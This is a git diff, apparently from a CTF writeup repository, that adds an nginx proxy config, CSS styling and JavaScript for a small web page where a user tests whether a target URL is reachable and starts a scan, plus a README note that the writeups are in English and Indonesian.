</div>
|
||||||
|
|
||||||
|
<script src="static/js/app.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
|
@ -0,0 +1,38 @@
|
||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
|
||||||
|
location / {
|
||||||
|
root /usr/share/nginx/html;
|
||||||
|
index index.html;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Proxy for WebSocket and HTTP requests
|
||||||
|
location ~ ^/api/public {
|
||||||
|
proxy_pass http://tempest-poc:5000;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
|
||||||
|
# WebSocket-specific headers
|
||||||
|
proxy_set_header Upgrade $http_upgrade;
|
||||||
|
|
||||||
|
# Conditionally set the Connection header
|
||||||
|
set $connection_upgrade '';
|
||||||
|
if ($http_upgrade) {
|
||||||
|
set $connection_upgrade 'Upgrade';
|
||||||
|
}
|
||||||
|
proxy_set_header Connection $connection_upgrade;
|
||||||
|
|
||||||
|
proxy_buffering off;
|
||||||
|
proxy_cache off;
|
||||||
|
|
||||||
|
# Optional: Increase timeouts to handle WebSocket connections
|
||||||
|
proxy_read_timeout 3600;
|
||||||
|
proxy_send_timeout 3600;
|
||||||
|
proxy_connect_timeout 3600;
|
||||||
|
|
||||||
|
# Additional headers to pass
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,145 @@
|
||||||
|
@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&family=Roboto:wght@300;400&display=swap');
|
||||||
|
|
||||||
|
:root {
|
||||||
|
--bg-color: #0a0e17;
|
||||||
|
--text-color: #e0e0e0;
|
||||||
|
--primary-color: #00ffff;
|
||||||
|
--secondary-color: #ff00ff;
|
||||||
|
--accent-color: #ffff00;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: 'Roboto', sans-serif;
|
||||||
|
line-height: 1.6;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
background-color: var(--bg-color);
|
||||||
|
color: var(--text-color);
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
width: 100%;
|
||||||
|
max-width: 600px;
|
||||||
|
padding: 2rem;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
font-family: 'Orbitron', sans-serif;
|
||||||
|
text-align: center;
|
||||||
|
color: var(--primary-color);
|
||||||
|
font-size: 2.5rem;
|
||||||
|
margin-bottom: 2rem;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 3px;
|
||||||
|
text-shadow: 0 0 10px var(--primary-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.input-group {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="url"] {
|
||||||
|
width: 100%;
|
||||||
|
padding: 1rem;
|
||||||
|
font-size: 1rem;
|
||||||
|
border: none;
|
||||||
|
border-bottom: 2px solid var(--primary-color);
|
||||||
|
background-color: rgba(0, 255, 255, 0.1);
|
||||||
|
color: var(--text-color);
|
||||||
|
transition: all 0.3s ease;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="url"]:focus {
|
||||||
|
outline: none;
|
||||||
|
box-shadow: 0 0 10px var(--primary-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-group {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
button {
|
||||||
|
padding: 0.8rem 1.5rem;
|
||||||
|
font-size: 1rem;
|
||||||
|
font-family: 'Orbitron', sans-serif;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
border: none;
|
||||||
|
border-radius: 25px;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.3s ease;
|
||||||
|
margin: 0 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
#testConnection {
|
||||||
|
background: linear-gradient(45deg, var(--primary-color), var(--secondary-color));
|
||||||
|
color: var(--bg-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
#startScan {
|
||||||
|
background: linear-gradient(45deg, var(--secondary-color), var(--accent-color));
|
||||||
|
color: var(--bg-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
button:hover {
|
||||||
|
transform: translateY(-3px);
|
||||||
|
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
button:active {
|
||||||
|
transform: translateY(-1px);
|
||||||
|
}
|
||||||
|
|
||||||
|
button:disabled {
|
||||||
|
opacity: 0.5;
|
||||||
|
cursor: not-allowed;
|
||||||
|
}
|
||||||
|
|
||||||
|
#statusAndResults {
|
||||||
|
margin-top: 1.5rem;
|
||||||
|
padding: 1rem;
|
||||||
|
border-radius: 10px;
|
||||||
|
background-color: rgba(255, 255, 255, 0.1);
|
||||||
|
backdrop-filter: blur(10px);
|
||||||
|
max-height: 300px;
|
||||||
|
overflow-y: auto;
|
||||||
|
width: 100%;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
#statusAndResults::-webkit-scrollbar {
|
||||||
|
width: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#statusAndResults::-webkit-scrollbar-track {
|
||||||
|
background: rgba(255, 255, 255, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
#statusAndResults::-webkit-scrollbar-thumb {
|
||||||
|
background-color: var(--primary-color);
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-item {
|
||||||
|
margin: 0.5rem 0;
|
||||||
|
padding: 0.5rem;
|
||||||
|
background-color: rgba(0, 255, 255, 0.1);
|
||||||
|
border-radius: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.success {
|
||||||
|
color: var(--accent-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.error {
|
||||||
|
color: var(--secondary-color);
|
||||||
|
}
|
|
@ -0,0 +1,90 @@
|
||||||
|
document.addEventListener("DOMContentLoaded", () => {
|
||||||
|
const startScanButton = document.getElementById("startScan");
|
||||||
|
const testConnectionButton = document.getElementById("testConnection");
|
||||||
|
const statusAndResultsDiv = document.getElementById("statusAndResults");
|
||||||
|
const urlInput = document.getElementById("target");
|
||||||
|
|
||||||
|
if (!crypto.randomUUID) {
|
||||||
|
crypto.randomUUID = function () {
|
||||||
|
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
|
||||||
|
var r = (crypto.getRandomValues(new Uint8Array(1))[0] % 16) | 0,
|
||||||
|
v = c === 'x' ? r : (r & 0x3) | 0x8;
|
||||||
|
return v.toString(16);
|
||||||
|
});
|
||||||
|
};
|
||||||
|
}
|
||||||
|
const uuid = crypto.randomUUID();
|
||||||
|
|
||||||
|
const socket = new WebSocket(`ws://${window.location.host}/api/public/ws/?client_id=${uuid}`);
|
||||||
|
|
||||||
|
function addStatusItem(message, className = '') {
|
||||||
|
const item = document.createElement('div');
|
||||||
|
item.textContent = message;
|
||||||
|
item.className = `status-item ${className}`;
|
||||||
|
statusAndResultsDiv.appendChild(item);
|
||||||
|
statusAndResultsDiv.scrollTop = statusAndResultsDiv.scrollHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
socket.addEventListener("message", (event) => {
|
||||||
|
const data = JSON.parse(event.data);
|
||||||
|
addStatusItem(data.data);
|
||||||
|
});
|
||||||
|
|
||||||
|
startScanButton.addEventListener("click", () => {
|
||||||
|
statusAndResultsDiv.innerHTML = '';
|
||||||
|
const target = urlInput.value;
|
||||||
|
if (!target) return;
|
||||||
|
|
||||||
|
startScanButton.disabled = true;
|
||||||
|
fetch("/api/public/startscan", {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "application/json"
|
||||||
|
},
|
||||||
|
body: JSON.stringify({ target: target, client_id: uuid })
|
||||||
|
})
|
||||||
|
.then(response => response.json())
|
||||||
|
.then(data => {
|
||||||
|
if (data.error) {
|
||||||
|
addStatusItem(data.error, 'error');
|
||||||
|
} else {
|
||||||
|
addStatusItem('Scan initiated. Monitoring progress...', 'success');
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.catch(error => {
|
||||||
|
addStatusItem(`Error: ${error.message}`, 'error');
|
||||||
|
})
|
||||||
|
.finally(() => {
|
||||||
|
urlInput.value = '';
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
testConnectionButton.addEventListener("click", () => {
|
||||||
|
statusAndResultsDiv.innerHTML = '';
|
||||||
|
const url = urlInput.value;
|
||||||
|
if (!url) return;
|
||||||
|
|
||||||
|
testConnectionButton.disabled = true;
|
||||||
|
fetch("/api/public/test", {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "application/json"
|
||||||
|
},
|
||||||
|
body: JSON.stringify({ url: url })
|
||||||
|
})
|
||||||
|
.then(response => {
|
||||||
|
if (!response.ok && response.status != 301) {
|
||||||
|
addStatusItem(`Target unreachable. Status Code: ${response.status}`, 'error');
|
||||||
|
} else {
|
||||||
|
addStatusItem(`Target accessible. Status Code: ${response.status}`, 'success');
|
||||||
|
startScanButton.disabled = false;
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.catch(error => {
|
||||||
|
addStatusItem(`Error: ${error.message}`, 'error');
|
||||||
|
})
|
||||||
|
.finally(() => {
|
||||||
|
testConnectionButton.disabled = false;
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
|
@ -1,5 +1,5 @@
|
||||||
# CTF Writeup
|
# CTF Writeup
|
||||||
This repository shall comprise writeups concerning Capture The Flag (CTF) competitions that I have undertaken. In the past, I participated in local CTF events in 2021; however, after participating in several of them, I did not take part in any further CTF competitions. In 2023, I made the decision to redo CTF from the beginning, and thus created this repository with the aim of assisting other CTF players in comprehending how to solve each challenge.
|
This repository shall comprise writeups concerning Capture The Flag (CTF) competitions that I have undertaken. In the past, I participated in local CTF events in 2021; however, after participating in several of them, I did not take part in any further CTF competitions. In 2023, I made the decision to redo CTF from the beginning, and thus created this repository with the aim of assisting other CTF players in comprehending how to solve each challenge. This repository also contains English and Indonesian language writeups
|
||||||
|
|
||||||
## Stats (2023 - Now)
|
## Stats (2023 - Now)
|
||||||
This is a list of wins we have achieved while participating in several CTF competitions
|
This is a list of wins we have achieved while participating in several CTF competitions
|
||||||
|
|
Loading…
Reference in New Issue